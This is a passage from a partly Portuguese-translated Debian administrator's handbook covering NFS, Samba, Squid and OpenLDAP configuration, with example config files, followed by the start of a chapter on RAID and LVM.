and its home directory (/home/ftp/) isthe root of the tree made available tousers connecting to this service. Thedefault configuration (in/etc/vsftpd.conf) is very restrictive:it only allows read-only anonymousaccess (since the write_enable andanon_upload_enable options aredisabled), and local users cannotconnect with their usual username andpassword and access their own files(local_enable option). However, thisdefault configuration is well-suited tothe needs at Falcot Corp.

11.4. Servidor deArquivos NFSNFS (Network File System) is aprotocol allowing remote access to afilesystem through the network. AllUnix systems can work with thisprotocol; when Windows systems areinvolved, Samba must be used instead.

NFS is a very useful tool, but itsshortcomings must be kept in mindespecially where security matters areconcerned: all data goes over thenetwork in the clear (a sniffer canintercept it); the server enforces access

restrictions based on the client's IPaddress (which can be spoofed); andfinally, when a client machine isgranted access to a misconfigured NFSshare, the client's root user can accessall the files on the share (even thosebelonging to other users) since theserver trusts the username it receivesfrom the client (this is a historicallimitation of the protocol).

DOCUMENTATION NFS HOWTO

The NFS HOWTO is full of interestinginformation, including methods foroptimizing performance. It also describesa way to secure NFS transfers with an SSHtunnel; however, that technique precludesthe use of lockd).

→ http://nfs.sourceforge.net/nfs-howto/

11.4.1. Securing NFSSince NFS trusts the information itreceives from the network, it is vital toensure that only the machines allowedto use it can connect to the variousrequired RPC servers. The firewallmust also block IP spoofing so as toprevent an outside machine from actingas an inside one, and access to theappropriate ports must be restricted tothe machines meant to access the NFSshares.

DE VOLTA AO BÁSICO RPC

RPC (Remote Procedure Call) is a Unixstandard for remote services. NFS is onesuch service.

RPC services register to a directoryknown as the portmapper. A clientwishing to perform an NFS query firstaddresses the portmapper (on port 111,either TCP or UDP), and asks for the NFSserver; the reply usually mentions port2049 (the default for NFS). Not all RPCservices necessarily use a fixed port.

Other RPC services may be requiredfor NFS to work optimally, includingrpc.mountd, rpc.statd and lockd.However, these services use a random

port (assigned by the portmapper) bydefault, which makes it difficult tofilter traffic targeting these services.The Falcot Corp administrators found awork-around for this problem,described below.

The first two services mentioned aboveare implemented by user-spaceprograms, started respectively by/etc/init.d/nfs-kernel-server

and /etc/init.d/nfs-common. Theyprovide configuration options to forceports; the relevant files to modify toalways use these options are/etc/default/nfs-kernel-server

and /etc/default/nfs-common.

Example 11.23. O arquivo

/etc/default/nfs-kernel-server

# Number of servers to start up

RPCNFSDCOUNT=8

# Options for rpc.mountd

RPCMOUNTDOPTS="-p 2048"

Example 11.24. O arquivo/etc/default/nfs-common

# Options for rpc.statd.

# Should rpc.statd listen on a specific port?

# If so, set this variable to a statd argument like: "--port 1000".

STATDOPTS="-p 2046 -o 2047"

# Are you _sure_ that your kernel does or does not need a lockd daemon?

# If so, set this variable to either "yes" or "no".

NEED_LOCKD=

Once these changes are made and theservices are restarted, rpc.mountd uses

port 2048; rpc.statd listens on port2046 and uses port 2047 for outgoingconnections.

The lockd service is handled by akernel thread (lightweight process);this feature is built as a module onDebian kernels. The module has twooptions allowing to always choose thesame port, nlm_udpport andnlm_tcpport. In order for theseoptions to be systematically used, thereneeds to be a /etc/modprobe.d/lockdfile such as the following:

Example 11.25. O arquivo/etc/modprobe.d/lockd

options lockd nlm_udpport=2045 nlm_tcpport=2045

Once these parameters are set, itbecomes easier to control access to theNFS service from the firewall in a fine-grained way by filtering access to ports111 and 2045 through 2049 (both UDPand TCP).

11.4.2. Servidor NFSThe NFS server is part of the Linuxkernel; in kernels provided by Debianit is built as a kernel module. If theNFS server is to be run automaticallyon boot, the nfs-kernel-server packageshould be installed; it contains therelevant start-up scripts.

ALTERNATIVA O servidor nfs-user-server

nfs-user-server is an NFS server runningas a traditional server, with a user-spaceprogram and not a kernel module. Thisversion of NFS is mostly obsolete sincethe kernel-based NFS server is nowmature and reliable.

The NFS server configuration file,/etc/exports, lists the directories thatare made available over the network(exported). For each NFS share, onlythe given list of machines is grantedaccess. More fine-grained accesscontrol can be obtained with a fewoptions. The syntax for this file is quite

simple:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

Each machine can be identified eitherby its DNS name or its IP address.Whole sets of machines can also bespecified using either a syntax such as*.falcot.com or an IP address rangesuch as 192.168.0.0/255.255.255.0or 192.168.0.0/24.

Directories are made available as read-only by default (or with the ro option).The rw option allows read-write access.NFS clients typically connect from aport restricted to root (in other words,below 1024); this restriction can be

lifted by the insecure option (thesecure option is implicit, but it can bemade explicit if needed for clarity).

By default, the server only answers anNFS query when the current diskoperation is complete (sync option);this can be disabled with the asyncoption. Asynchronous writes increaseperformance a bit, but they decreasereliability since there's a data loss riskin case of the server crashing betweenthe acknowledgment of the write andthe actual write on disk. Since thedefault value changed recently (ascompared to the historical value ofNFS), an explicit setting isrecommended.

In order to not give root access to thefilesystem to any NFS client, allqueries appearing to come from a rootuser are considered by the server ascoming from the anonymous user. Thisbehavior corresponds to theroot_squash option, and is enabled bydefault. The no_root_squash option,which disables this behavior, is riskyand should only be used in controlledenvironments. The anonuid=uid andanongid=gid options allow specifyinganother fake user to be used instead ofanonymous.

Other options are available; they aredocumented in the exports(5) manualpage.

CUIDADO Primeira instalação

The /etc/init.d/nfs-kernel-server bootscript only starts the server if the/etc/exports lists one or more valid NFSshares. On initial configuration, once thisfile has been edited to contain validentries, the NFS server must therefore bestarted with the following command:

# /etc/init.d/nfs-kernel-server start

11.4.3. Cliente NFSAs with other filesystems, integratingan NFS share into the system hierarchyrequires mounting. Since this

filesystem has its peculiarities, a fewadjustments were required in thesyntaxes of the mount command andthe /etc/fstab file.

Example 11.26. Montandomanualmente com o comando mount

# mount -t nfs -o rw,nosuid arrakis.interne.falcot.com:/srv/shared /shared

Example 11.27. Entrada NFS noarquivo /etc/fstab

arrakis.interne.falcot.com:/srv/shared /shared nfs rw,nosuid 0 0

The entry described above mounts, atsystem startup, the /srv/shared/ NFSdirectory from the arrakis server intothe local /shared/ directory. Read-write access is requested (hence the rw

parameter). The nosuid option is aprotection measure that wipes anysetuid or setgit bit from programsstored on the share. If the NFS share isonly meant to store documents, anotherrecommended option is noexec, whichprevents executing programs stored onthe share.

The nfs(5) manual page describes allthe options in some detail.

11.5. ConfigurandoumCompartilhamentoWindows com oSambaSamba is a suite of tools handling theSMB protocol (now called “CIFS”) onLinux. This protocol is used byWindows for network shares andshared printers.

Samba can also act as an NT domain

controller. This is an outstanding toolfor ensuring seamless integration ofLinux servers and the office desktopmachines still running Windows.

11.5.1. ServidorSambaThe samba package contains the maintwo servers of Samba 3, smbd andnmbd.

FERRAMENTA Administrando o Sambacom SWAT

SWAT (Samba Web Administration Tool)is a web interface that allows configuring

the Samba service. Since the swatpackage does not enable its configurationinterface by default, it must be enabledmanually with update-inetd --enableswat.

SWAT then becomes available at thehttp://localhost:901 URL. Accessing itmeans using the root account (and itsusual password). Note that SWATrewrites the smb.conf in its own idiom, soit makes sense to make a backup copybeforehand if you're only interested intesting this tool.

SWAT is very user-friendly; its interfaceincludes an assistant that allows definingthe server's role in three questions. Allglobal options can still be configured, aswell as those for all the existing shares,and of course new shares can be added.

Each option comes with a link to therelevant documentation.

DOCUMENTAÇÃO Aprofundando

The Samba server is extremelyconfigurable and versatile, and canaddress a great many different use casesmatching very different requirements andnetwork architectures. This book onlyfocuses on the use case where Samba isused as main domain controller, but it canalso be a simple server on the domain anddelegate authentication to the maincontroller (which could be a Windowsserver).

The documentation available in thesamba-doc package is very well written.In particular, the Samba 3 By Example

document (available as/usr/share/doc/samba-

doc/htmldocs/Samba3-

ByExample/index.html) deals with aconcrete use case that evolves alongsidethe growing company.

FERRAMENTA Autenticando com umServidor Windows

Winbind gives system administrators theoption of using a Windows NT server asan authentication server. Winbind alsointegrates cleanly with PAM and NSS.This allows setting up Linux machineswhere all users of an NT domainautomatically get an account.

More information can be found in the/usr/share/doc/samba-

doc/htmldocs/Samba3-

HOWTO/winbind.html file.

11.5.1.1. Configurando comdebconf

The package sets up a minimalconfiguration based on the answers to afew Debconf questions asked duringthe initial installation; thisconfiguration step can be replayed laterwith dpkg-reconfigure samba-common samba.

The first piece of required informationis the name of the workgroup where theSamba server will belong (the answer

is FALCOTNET in our case). Anotherquestion asks whether passwordsshould be encrypted. The answer is thatthey should, because it's a requirementfor the most recent Windows clients;besides, this increases security. Thecounterpart is that this requiredmanaging Samba passwords separatelyfrom the Unix passwords.

The package also proposes identifyingthe WINS server from the informationprovided by the DHCP daemon. TheFalcot Corp administrators rejectedthis option, since they intend to use theSamba server itself as the WINSserver.

The next question is about whetherservers should be started by inetd or asstand-alone daemons. Using inetd isonly interesting when Samba is rarelyused; the Falcot administratorstherefore picked stand-alone daemons.

Finally, the package proposes creatinga /var/lib/samba/passdb.tdb filefor storing encrypted passwords; thisoption was accepted, since this systemis much more efficient than thestandard /etc/samba/smbpasswd textfile.

11.5.1.2. ConfigurandoManualmente

11.5.1.2.1. Changes to smb.conf

The requirements at Falcot requireother options to be modified in the/etc/samba/smb.conf configurationfile. The following excerpts summarizethe changes that were effected in the[global] section.

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = FALCOTNET

# server string is the equivalent of the NT Description field

server string = %h server (Samba %v)

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes

[...]

####### Authentication #######

# "security = user" is always a good idea. This will require a Unix account

# in this server for every user accessing the server. See

# /usr/share/doc/samba-doc/htmldocs/Samba3-HOWTO/ServerType.html

# in the samba-doc package for details.

security = user

# You may wish to use password encryption. See the section on

# 'encrypt passwords' in the smb.conf(5) manpage before enabling.

encrypt passwords = true

# If you are using encrypted passwords, Samba will need to know what

# password database type you are using.

passdb backend = tdbsam guest

[...]

########## Printing ##########

# If you want to automatically load your printer list rather

# than setting them up individually then you'll need this

load printers = yes

# lpr(ng) printing. You may wish to override the location of the

# printcap file

; printing = bsd

; printcap name = /etc/printcap

# CUPS printing. See also the cupsaddsmb(8) manpage in the

# cups-client package.

printing = cups

printcap name = cups

[...]

######## File sharing ########

# Name mangling options

; preserve case = yes

; short preserve case = yes

unix charset=ISO8859-1

Indicates that Samba should act as aNetbios name server (WINS) for thelocal network.

This is the default value for thisparameter; however, since it iscentral to the Samba configuration,filling it explicitly is recommended.Each user must authenticate beforeaccessing any share.

Tells Samba to automatically shareall local printers that exist in theCUPS configuration. Restrictingaccess to these printers is stillpossible, by adding appropriatesections.

Specifies the printing system in use;in our case, CUPS.

Specifies the character set andencoding used for file names underLinux. The default value is UTF8(Unicode).

11.5.1.2.2. Adicionando Usuários

Each Samba user needs an account onthe server; the Unix accounts must becreated first, then the user needs to beregistered in Samba's database. TheUnix step is done quite normally (usingadduser for instance).

Adding an existing user to the Sambadatabase is a matter of running thesmbpasswd -a user command; thiscommand asks for the passwordinteractively.

A user can be deleted with thesmbpasswd -x user command. ASamba account can also be temporarilydisabled (with smbpasswd -d user)and re-enabled later (with smbpasswd

-e user).

11.5.1.2.3. Switching to DomainController

This section documents how the Falcotadministrators went even further, byturning the Samba server into a domaincontroller providing roaming profiles(which allow users to find their desktopno matter what machine they connectto).

They first added a few extra directivesin the [global] section of theconfiguration file:

domain logons = yes

preferred master = yes

logon path = \\%L\profiles\%U

logon script = scripts/logon.bat

Ativando a funcionalidade de controle de domínio.

Specifies the location of the users' homedirectories. These are stored on a dedicated share,which allows enabling specific options (inparticular, profile acls, a requirement forcompatibility with Windows 2000, XP and Vista).

Specifies the batch (non-interactive) script that isto be run on the client Windows machine everytime a session is opened. In this case,/var/lib/samba/netlogon/scripts/logon.bat

The script needs to be in DOS format, where thelines are separated by a carriage-return characterand a line-feed character; if the file was created onLinux, running unix2dos will convert it.

The commands used most widely in these scriptsallow the automatic creation of network drives andsynchronizing the system time.

Example 11.28. O arquivo logon.bat

net time \\ARRAKIS /set /yes

net use H: /home

net use U: \\ARRAKIS\utils

Dois compartilhamentos extras, e seusdiretórios associados, também foramcriados:

[netlogon]

comment = Network Logon Service

path = /var/lib/samba/netlogon

guest ok = yes

writable = no

share modes = no

[profiles]

comment = Profile Share

path = /var/lib/samba/profiles

read only = No

profile acls = Yes

The home directories for all users mustalso be created (as/var/lib/samba/profiles/user),and each of them must be owned by thematching user.

11.5.2. Cliente SambaThe client features in Samba allow aLinux machine to access Windowsshares and shared printers. Therequired programs are available in thesmbfs and smbclient packages.

11.5.2.1. O Programasmbclient

The smbclient program queries SMBservers. It accepts a -U user option,for connecting to the server under aspecific identity. smbclient//server/share accesses the share in

an interactive way similar to thecommand-line FTP client. smbclient -L server lists all available (andvisible) shares on a server.

11.5.2.2. MontandoCompartilhamentosWindows

O comando smbmount permite montarum compartilhamento Windows nahierarquia do sistema de arquivos doLinux.

Example 11.29. Montando umcompartilhamento Windows

smbmount //arrakis/shared /shared -o credentials=/usr/local/etc/smb-credentials

O arquivo /usr/local/etc/smb-credentials (o qual não deve serlegível pelos usuários) tem o seguinteformato:

username = user

password = password

Other options can be specified on thecommand-line; their full list isavailable in the smbmount(1) manualpage. Two options in particular can beinteresting: uid and gid allow forcingthe owner and group of files availableon the mount, so as not to restrictaccess to root.

O comando smbumount desmonta umcompartilhamento SMB.

ALTERNATIVA Usando mount para umcompartilhamento Windows

The mount command itself does nothandle CIFS; however, when asked tomount an unknown filesystem type, ittries delegating the task to a mount.type.Since the smbfs package does provide amount.cifs command, it then becomespossible to mount a Windows share withthe standard mount command:

mount -t cifs -o credentials=/usr/local/etc/smb-credentials //

This also allows configuring an SMBmount in the standard /etc/fstab file:

//server/shared /shared cifs credentials=/usr/local/etc/smb-credentials

11.5.2.3. Imprimindo comuma ImpressoraCompartilhada

CUPS is an elegant solution forprinting from a Linux workstation to aprinter shared by a Windows machine.When the smbclient is installed, CUPSallows installing Windows sharedprinters automatically.

Aqui estão os passos necessários:

Entrar na interface deconfiguração do CUPS:

http://localhost:631/admin.

Clique no “Add Printer”, entãoentre com os dados relevantespara esta impressora.Quando escolhendo o dispositivode impressora, escolha “WindowsPrinter via SAMBA”.A URI descrevendo a impressorase pare com o seguinte:

smb://user:password@server/printer

Voilà, a impressora está operacional!

11.6. ProxyHTTP/FTPAn HTTP/FTP proxy acts as anintermediary for HTTP and/or FTPconnections. Its role is twofold:

Caching: recently downloadeddocuments are copied locally,which avoids multiple downloads.Filtering server: if use of theproxy is mandated (and outgoingconnections are blocked unlessthey go through the proxy), thenthe proxy can determine whetheror not the request is to be granted.

Falcot Corp selecionou o Squid comoseu servidor de proxy

11.6.1. InstalandoThe squid Debian package onlycontains the modular (caching) proxy.Turning it into a filtering serverrequires installing the additionalsquidguard package. In addition, squid-cgi provides a querying andadministration interface for a Squidproxy.

Prior to installing, care should be takento check that the system can identify itsown complete name: the hostname -f

must return a fully-qualified name(including a domain). If it does not,then the /etc/hosts file should beedited to contain the full name of thesystem (for instance,arrakis.falcot.com). The officialcomputer name should be validatedwith the network administrator in orderto avoid potential name conflicts.

11.6.2. Configurandoum CacheEnabling the caching server feature is asimple matter of editing the/etc/squid/squid.conf

configuration file and allowing

machines from the local network to runqueries through the proxy. Thefollowing example shows themodifications made by the Falcot Corpadministrators:

Example 11.30. O arquivo/etc/squid/squid.conf (trecho)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

# Example rule allowing access from your local networks. Adapt

# to list your (internal) IP networks from where browsing should

# be allowed

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

http_access allow localhost

# And finally deny all other access to this proxy

http_access deny all

11.6.3. Configurando

11.6.3. Configurandoum Filtrosquid itself does not perform thefiltering; this action is delegated tosquidGuard. The former must then beconfigured to interact with the latter.This involves adding the followingdirective to the/etc/squid/squid.conf file:

redirect_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI programalso needs to be installed, using/usr/share/doc/squidguard/examples/squidGuard.cgi.gz

as a starting point. Requiredmodifications to this script are the$proxy and $proxymaster variables(the name of the proxy and theadministrator's contact e-mail,respectively). The $image and$redirect variables should point toexisting images representing therejection of a query.

The filter is enabled with the/etc/init.d/squid reload command.However, since the squidguard packagedoes no filtering by default, it is theadministrator's task to define thepolicy. This can be done bycustomizing the/etc/squid/squidGuard.conf file.

The working database must beregenerated with update-squidguardafter each change of the squidGuardconfiguration file (or one of the lists ofdomains or URLs it mentions). Theconfiguration file syntax isdocumented on the following website:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVA DansGuardian

The dansguardian package is analternative to squidguard. This softwaredoes not simply handle a black-list offorbidden URLs, but it can take advantageof the PICS system (Platform for InternetContent Selection) to decide whether apage is acceptable by dynamic analysis of

its contents.

11.7. DiretórioLDAPOpenLDAP is an implementation of theLDAP protocol; in other words, it's aspecial-purpose database designed forstoring directories. In the mostcommon use case, using an LDAPserver allows centralizing managementof user accounts and the relatedpermissions. Moreover, an LDAPdatabase is easily replicated, whichallows setting up multiplesynchronized LDAP servers. When thenetwork and the user base growsquickly, the load can then be balanced

across several servers.

LDAP data is structured andhierarchical. The structure is definedby “schemas” which describe the kindof objects that the database can store,with a list of all their possibleattributes. The syntax used to refer to aparticular object in the database isbased on this structure, which explainsits complexity.

11.7.1. InstalandoThe slapd package contains theOpenLDAP server. The ldap-utilspackage includes command-line tools

for interacting with LDAP servers.

Installing slapd normally asks a fewdebconf questions; this configurationphase can be forced by the dpkg-reconfigure slapd command.

Omit OpenLDAP serverconfiguration? No, of course, wewant to configure this service.DNS nome de domínio:“falcot.com”.Nome da organização: “FalcotCorp”.An administrative passwordsneeds to be typed in.Database backend to use: “HDB”.Do you want the database to be

removed when slapd is purged?No. No point in risking losing thedatabase in case of a mistake.Move old database? This questionis only asked when theconfiguration is attempted while adatabase already exists. Onlyanswer “yes” if you actually wantto start again from a cleandatabase, for instance if you rundpkg-reconfigure slapd rightafter the initial installation.Allow LDAPv2 protocol? No,there's no point in that. All thetools we're going to useunderstand the LDAPv3 protocol.

DE VOLTA AO BÁSICO Formato LDIF

An LDIF file (LDAP Data InterchangeFormat) is a portable text file describingthe contents of an LDAP database (or aportion thereof); this can then be used toinject the data into any other LDAPserver.

Um base de dados miníma estáconfigurada agora, como demonstradopela seguinte consulta:

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope sub

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 3

# numEntries: 2

A consulta retornour dois objetos: aorganização em si, e o usuárioadministrativo.

11.7.2. Preenchendo oDiretórioSince an empty database is notparticularly useful, we're going toinject into it all the existingdirectories; this includes the users,groups, services and hosts databases.

The migrationtools package provides aset of scripts dedicated to extract datafrom the standard Unix directories(/etc/passwd, /etc/group,

/etc/services, /etc/hosts and soon), convert this data, and inject it intothe LDAP database.

Once the package is installed, the/etc/migrationtools/migrate_common.ph

must be edited; the IGNORE_UID_BELOWand IGNORE_GID_BELOW options need tobe enabled (uncommenting them isenough).

The actual migration operation ishandled by the migrate_all_online.shcommand, as follows:

# cd /usr/share/migrationtools

# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

The migrate_all_online.sh asks a fewquestions about the LDAP databaseinto which the data is to be migrated.Table 11.1 summarizes the answersgiven in the Falcot use-case.

Table 11.1. Answers to questionsasked by the migrate_all_online.shscriptQuestão RespostaX.500 namingcontext

dc=falcot,dc=com

LDAP serverhostname

localhost

Gerenciando o DN cn=admin,dc=falcot,dc=com

Bind credentials a senha administrativaCreate não

DUAConfigProfile

We deliberately ignore migration ofthe /etc/aliases file, since thestandard schema as provided by Debiandoes not include the structures that thisscript uses to describe email aliases.Should we want to integrate this datainto the directory, the/etc/ldap/schema/misc.schema fileshould be added to the standardschema.

FERRAMENTA Navegando em diretórioLDAP

The luma command (in the package of thesame name) is a graphical tool allowing tobrowse and edit an LDAP database. It's an

interesting tool that provides anadministrator with a good overview of thehierarchical structure of the LDAP data.

Also note the use of the -c option tothe ldapadd command; this optionrequests that processing doesn't stop incase of error. Using this option isrequired because converting the/etc/services often generates a fewerrors that can safely be ignored.

11.7.3. GerenciandoContas com LDAPNow the LDAP database contains some

useful information, the time has cometo make use of this data. This sectionfocuses on how to configure a Linuxsystem so that the various systemdirectories use the LDAP database.

11.7.3.1. Configurando oNSS

The NSS system (Name ServiceSwitch, see sidebar APROFUNDANDONSS e banco de dados do sistema) is amodular system designed to define orfetch information for systemdirectories. Using LDAP as a source ofdata for NSS requires installing thelibnss-ldap package. Its installation

asks a few questions; the answers aresummarized in Table 11.2.

Table 11.2. Configurando o pacotelibnss-ldapQuestão RespostaLDAP serverUniformResourceIdentifier

ldap://ldap.falcot.com

Distinguishedname of thesearch base

dc=falcot,dc=com

Versão LDAPpara usar

3

O banco dedados LDAP

precisa de umlogin?

não

Conta LDAPpara root

cn=admin,dc=falcot,dc=com

LDAP rootaccountpassword

a senha administrativa

The /etc/nsswitch.conf file thenneeds to be modified, so as toconfigure NSS to use the freshly-installed ldap module.

Example 11.31. O arquivo/etc/nsswitch.conf

# /etc/nsswitch.conf

#

# Example configuration of GNU Name Service Switch functionality.

# If you have the `glibc-doc' and `info' packages installed, try:

# `info libc "Name Service Switch"' for information about this file.

passwd: ldap compat

group: ldap compat

shadow: ldap compat

hosts: files dns ldap

networks: ldap files

protocols: ldap db files

services: ldap db files

ethers: ldap db files

rpc: ldap db files

netgroup: files

The ldap module is usually insertedbefore others, and it will therefore bequeried first. The notable exception isthe hosts service since contacting the

LDAP server requires consulting DNSfirst (to resolve ldap.falcot.com).Without this exception, a hostnamequery would try to ask the LDAPserver; this would trigger a nameresolution for the LDAP server, and soon in an infinite loop. As for thenetgroup services, it is not yet handledby the LDAP module.

If the LDAP server should beconsidered authoritative (and the localfiles used by the files moduledisregarded), services can beconfigured with the following syntax:

service: ldap [NOTFOUND=return]

files.

If the requested entry does not exist inthe LDAP database, the query willreturn a “not existing” reply even if theresource does exist in one of the localfiles; these local files will only be usedwhen the LDAP service is down.

11.7.3.2. Configurando oPAM

This section describes a PAMconfiguration (see sidebar ATRÁS DASCENAS /etc/environment e/etc/default/locale) that will allowapplications to perform the requiredauthentications against the LDAPdatabase.

CUIDADO Autenticação quebrada

Changing the standard PAMconfiguration used by various programsis a sensitive operation. A mistake canlead to broken authentication, whichcould prevent logging in. Keeping a rootshell open is therefore a good precaution.If configuration errors occur, they can bethen fixed and the services restarted withminimal effort.

The LDAP module for PAM isprovided by the libpam-ldap package.Installing this package asks a fewquestions very similar to those inlibnss-ldap; some configurationparameters (such as the URI for the

LDAP server) are even actually sharedwith the libnss-ldap package. Answersare summarized in Table 11.3.

Table 11.3. Configurando o libpam-ldapQuestão RespostaPermitir acontaadministrativado LDAP secomportarcomo o rootlocal?

Sim. Isto permite usar ocomando usual passwdmodificar as senhasarmazenadas no banco dedados LDAP.

O banco dedados LDAPnecessita estarlogado?

não

Conta LDAPpara root

cn=admin,dc=falcot,dc=com

LDAP rootaccountpassword

A senha do banco de dadosadministrativo LDAP

Installing libpam-ldap automaticallyadapts the default PAM configurationdefined in the /etc/pam.d/common-auth, /etc/pam.d/common-passwordand /etc/pam.d/common-accountfiles. This mechanism uses thededicated pam-auth-update tool(provided by the libpam-runtimepackage). This tool can also be run bythe administrator should they wish toenable or disable PAM modules.

11.7.3.3. Securing LDAPData Exchanges

By default, the LDAP protocol transitson the network as cleartext; thisincludes the (encrypted) passwords.Since the encrypted passwords can beextracted from the network, they can bevulnerable to dictionary-type attacks.This can be avoided by using an extraencryption layer; enabling this layer isthe topic of this section.

11.7.3.3.1. Configurando o Servidor

The first step is to create a key pair(comprising a public key and a private

key) for the LDAP server. Thisnecessitates installing the opensslpackage. Running/usr/lib/ssl/misc/CA.pl -newcert asksa few mundane questions (location,organization name and so on). Theanswer to the “common name”question must be the fully-qualifiedhostname for the LDAP server; in ourcase, ldap.falcot.com.

This command creates a certificate inthe newcert.pem file; thecorresponding private key is stored innewkey.pem.

Agora essas chaves devem serinstalados em sua localização padrão:

# mv newkey.pem /etc/ssl/private/ldap-key.pem

# chmod 0600 /etc/ssl/private/ldap-key.pem

# mv newcert.pem /etc/ssl/certs/ldap-cert.pem

The slapd daemon also needs to be toldto use these keys for encryption; thisinvolves adding the followingdirectives to the/etc/ldap/slapd.conf file:

Example 11.32. Configurando slapdpara criptografia

# TLS support

TLSCipherSuite HIGH

TLSCertificateFile /etc/ssl/certs/ldap-cert.pem

TLSCertificateKeyFile /etc/ssl/private/ldap-key.pem

The last step for enabling encryption

involves changing the SLAPD_SERVICESvariable in the /etc/default/slapdfile. We'll play it safe and disableunsecured LDAP altogether.

Example 11.33. O nome/etc/default/slapd

# Default location of the slapd.conf file

SLAPD_CONF=

# System account to run the slapd server under. If empty the server

# will run as root.

SLAPD_USER=

# System group to run the slapd server under. If empty the server will

# run in the primary group of its user.

SLAPD_GROUP=

# Path to the pid file of the slapd server. If not set the init.d script

# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf)

SLAPD_PIDFILE=

# Configure if the slurpd daemon should be started. Possible values:

# - yes: Always start slurpd

# - no: Never start slurpd

# - auto: Start slurpd if a replica option is found in slapd.conf

# (default)

SLURPD_START=auto

# slapd normally serves ldap only on all TCP-ports 389. slapd can also

# service requests on TCP-port 636 (ldaps) and requests via unix

# sockets.

# Example usage:

SLAPD_SERVICES="ldaps:/// ldapi:///"

# Additional options to pass to slapd and slurpd

SLAPD_OPTIONS=""

SLURPD_OPTIONS=""

11.7.3.3.2. Configurando o Cliente

On the client side, the configuration forthe libpam-ldap and libnss-ldapmodules needs to be modified byadding the ssl on directive to the/etc/pam_ldap.conf and/etc/libnss-ldap.conf

configuration files.

LDAP clients also need to be able toauthenticate the server by knowing itspublic key. This requires installing acopy of the key (for instance as/etc/ssl/certs/ldap-cert.pem),and reference the location of this copyin the /etc/ldap/ldap.conf file.

Example 11.34. O arquivo/etc/ldap/ldap.conf

#

# LDAP Defaults

#

# See ldap.conf(5) for details

# This file should be world readable but not world writable.

BASE dc=falcot,dc=com

URI ldaps://ldap.falcot.com

#SIZELIMIT 12

#TIMELIMIT 15

#DEREF never

TLS_CACERT /etc/ssl/certs/ldap-cert.pem

This chapter sampled only a fraction ofthe available server software; however,most of the common network serviceswere described. Now it is time for aneven more technical chapter: we'll gointo deeper detail for some concepts,

describe massive deployments andvirtualization.

Chapter 12. AdministraçãoAvançadaEste capítulo retoma alguns aspectos jádescritos, com uma perspectivadiferente: em vez de instalar em umúnico computador, vamos estudar aimplantação de sistemas em massa; emvez de criar volumes RAID ou LVM nomomento da instalação, vamosaprender a fazer tudo na mão para quemais tarde possamos rever nossasescolhas iniciais. Finalmente, vamosdiscutir as ferramentas demonitoramento e técnicas devirtualização. Como consequência, este

capítulo é mais particularmente alvo deadministradores profissionais e centra-se um pouco menos nos indivíduosresponsáveis pela sua rede doméstica.

12.1. RAID eLVMChapter 4, Instalação apresentou estastecnologias a partir do ponto de vistado instalador e como o integra-las parafazer a sua implantação fácil desde oinício. Após a instalação inicial, oadministrador deve ser capaz de lidarcom as necessidades de espaço dearmazenamento em evolução, sem ter

que recorrer a uma cara reinstalação.Devem, portanto, dominar asferramentas necessárias para manipularvolumes RAID e LVM.

RAID e LVM são duas técnicas paraabstrair os volumes montados a partirde suas contrapartes físicas (reaisunidades de disco rígido ou partiçõesdo mesmo), o primeiro protegendo osdados através da introdução deredundância, o último fazendo ogerenciamento de dados mais flexível eindependente do tamanho real nosdiscos. Em ambos os casos, o sistemaacaba com novos volumes (partições,blocos), que podem ser utilizados paracriar sistemas de arquivos ou espaço de

troca, sem necessariamente ter elesmapeados em um disco físico. LVM eRAID vêm de origens bem diferentes,mas sua funcionalidade pode sobrepor-se um pouco, é por isso que eles sãomuitas vezes mencionados juntos.

PERSPECTIVE Btrfs combina LVM eRAID

Enquanto LVM e RAID são doissubsistemas do kernel distintos que estãoentre os dispositivos de bloco do disco eseus sistemas de arquivos, Btrfs é umnovo sistema de arquivos, desenvolvidoinicialmente pela Oracle, que pretendecombinar os conjuntos de recursos deLVM e RAID e muito mais. É sobretudofuncional, embora ainda definido como"experimental", pois seu desenvolvimento

é incompleto (alguns recursos ainda nãoestão implementados).

→ http://btrfs.wiki.kernel.org/

Entre as características marcantes estão acapacidade de tirar um instantâneo deuma árvore de diretórios em qualquerponto no tempo. Este instantâneoinicialmente não utiliza nenhum espaçoem disco, os dados só serão duplicadosquando um dos arquivos copiados formodificado. O sistema de arquivostambém lida com a compressãotransparente de arquivos e somas deverificação (checksums) garantem aintegridade de todos os dadosarmazenados.

Em ambos os casos RAID e LVM, o

kernel fornece um arquivo dedispositivo de bloco semelhantes aosque correspondem a uma unidade dedisco rígido ou partição. Quando umpedido ou uma outra parte do núcleo,requer o acesso a um bloco de um taldispositivo, as rotas de subsistemasapropriadas do bloco são usadas para acamada física relevante. Dependendoda configuração, este bloco pode serarmazenado em um ou vários discosfísicos e sua localização física podenão ser directamente relacionada com alocalização do bloco no dispositivológico.

12.1.1. RAID Por

SoftwareRAID significa conjunto redundante dediscos independentes. O objetivo destesistema é evitar perda de dados emcaso de falha do disco rígido. Oprincípio geral é bastante simples: osdados são armazenados em váriosdiscos físicos em vez de apenas um,com um nível configurável deredundância. Dependendo destaquantidade de redundância, e mesmono caso de uma falha de discoinesperado, dados podem serreconstruídos sem perdas dos restantesdiscos.

CULTURA Independent or inexpensive?

The I in RAID initially stood forinexpensive, because RAID allowed adrastic increase in data safety withoutrequiring investing in expensive high-enddisks. Probably due to image concerns,however, it's now more customarilyconsidered to stand for independent,which doesn't have the unsavory flavourof cheapness.

